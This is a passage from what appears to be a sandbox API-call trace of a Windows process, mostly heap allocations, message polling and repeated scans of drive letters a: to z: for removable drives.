RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0170.392] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.392] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0170.392] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0170.393] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0170.393] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0170.393] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0170.393] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0170.393] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0170.393] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3b8 [0170.393] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0170.393] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.393] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0170.394] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0170.394] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0170.394] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0170.395] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0170.395] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0170.396] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0170.396] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0170.396] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0170.397] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0170.397] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0170.398] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0170.398] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0170.398] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0170.399] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0170.399] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0170.399] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0170.400] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0170.400] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0170.417] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0170.417] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0170.417] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0170.417] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0170.417] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0170.418] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0170.418] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0170.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0170.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0170.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0170.420] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.420] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0170.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0170.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0170.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0170.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0170.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0170.420] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0170.420] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0170.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0170.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0170.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe8f8 [0170.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0170.421] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0170.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0170.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe8f8 | out: hHeap=0xe80000) returned 1 [0170.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0170.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0170.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0170.421] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.422] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0170.422] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.423] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2eb0 | out: hHeap=0xe80000) returned 1 [0170.423] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0170.423] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.423] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.423] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0170.423] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0170.423] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0170.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0170.424] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0170.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.424] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0170.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed27f0 [0170.424] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed27f0 | out: hHeap=0xe80000) returned 1 [0170.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a18 [0170.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2880 [0170.425] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0170.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1500 [0170.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0170.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf408 [0170.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0170.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0170.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0170.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0170.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0170.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0170.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0170.425] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.425] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0170.426] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0170.426] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0170.426] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0170.426] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0170.426] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0170.426] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0170.426] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0170.426] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0170.427] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0170.427] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0170.427] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0170.427] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0170.427] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0170.427] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0170.427] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0170.428] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0170.428] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0170.428] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0170.428] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0170.428] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0170.428] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0170.429] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0170.429] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0170.429] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0170.429] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0170.430] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0170.430] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0170.430] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0170.430] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.430] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1500 | out: hHeap=0xe80000) returned 1 [0170.431] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0170.431] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.431] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0170.431] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0170.431] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0170.431] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0170.431] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0170.431] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.431] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0170.431] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0170.431] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0170.431] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe658 [0170.431] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0170.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.431] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.431] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0170.431] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe658 | out: hHeap=0xe80000) returned 1 [0170.431] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0170.431] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0170.431] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0170.431] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.432] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0170.459] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.460] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2880 | out: hHeap=0xe80000) returned 1 [0170.461] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0170.461] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0170.461] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0170.461] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0170.461] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0170.461] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.462] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.462] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0170.462] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.462] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0170.462] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.462] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.462] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0170.462] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed29e8 [0170.462] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.463] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed29e8 | out: hHeap=0xe80000) returned 1 [0170.463] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0170.463] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10768b0 [0170.463] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0170.464] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.464] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0170.464] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0170.464] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0170.465] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0170.465] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0170.465] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0170.465] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0170.465] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0170.465] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0170.465] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0170.465] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.465] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.466] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0170.466] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0170.467] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0170.467] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0170.467] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0170.468] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0170.468] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0170.468] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0170.468] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0170.468] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0170.468] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0170.469] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0170.469] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0170.469] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0170.469] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0170.469] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0170.469] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0170.470] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0170.470] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0170.470] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0170.470] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0170.470] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0170.470] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0170.471] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0170.471] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0170.471] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0170.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0170.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0170.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0170.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0170.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0170.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0170.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0170.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0170.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0170.472] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0170.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0170.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0170.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe658 [0170.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0170.473] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.473] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0170.473] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0170.473] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe658 | out: hHeap=0xe80000) returned 1 [0170.473] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0170.473] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0170.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0170.473] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0170.474] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0170.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0170.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0170.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0170.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0170.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0170.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0170.475] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0170.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.475] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0170.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2910 [0170.475] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2910 | out: hHeap=0xe80000) returned 1 [0170.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a90 [0170.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2958 [0170.475] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0170.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0170.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0170.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, 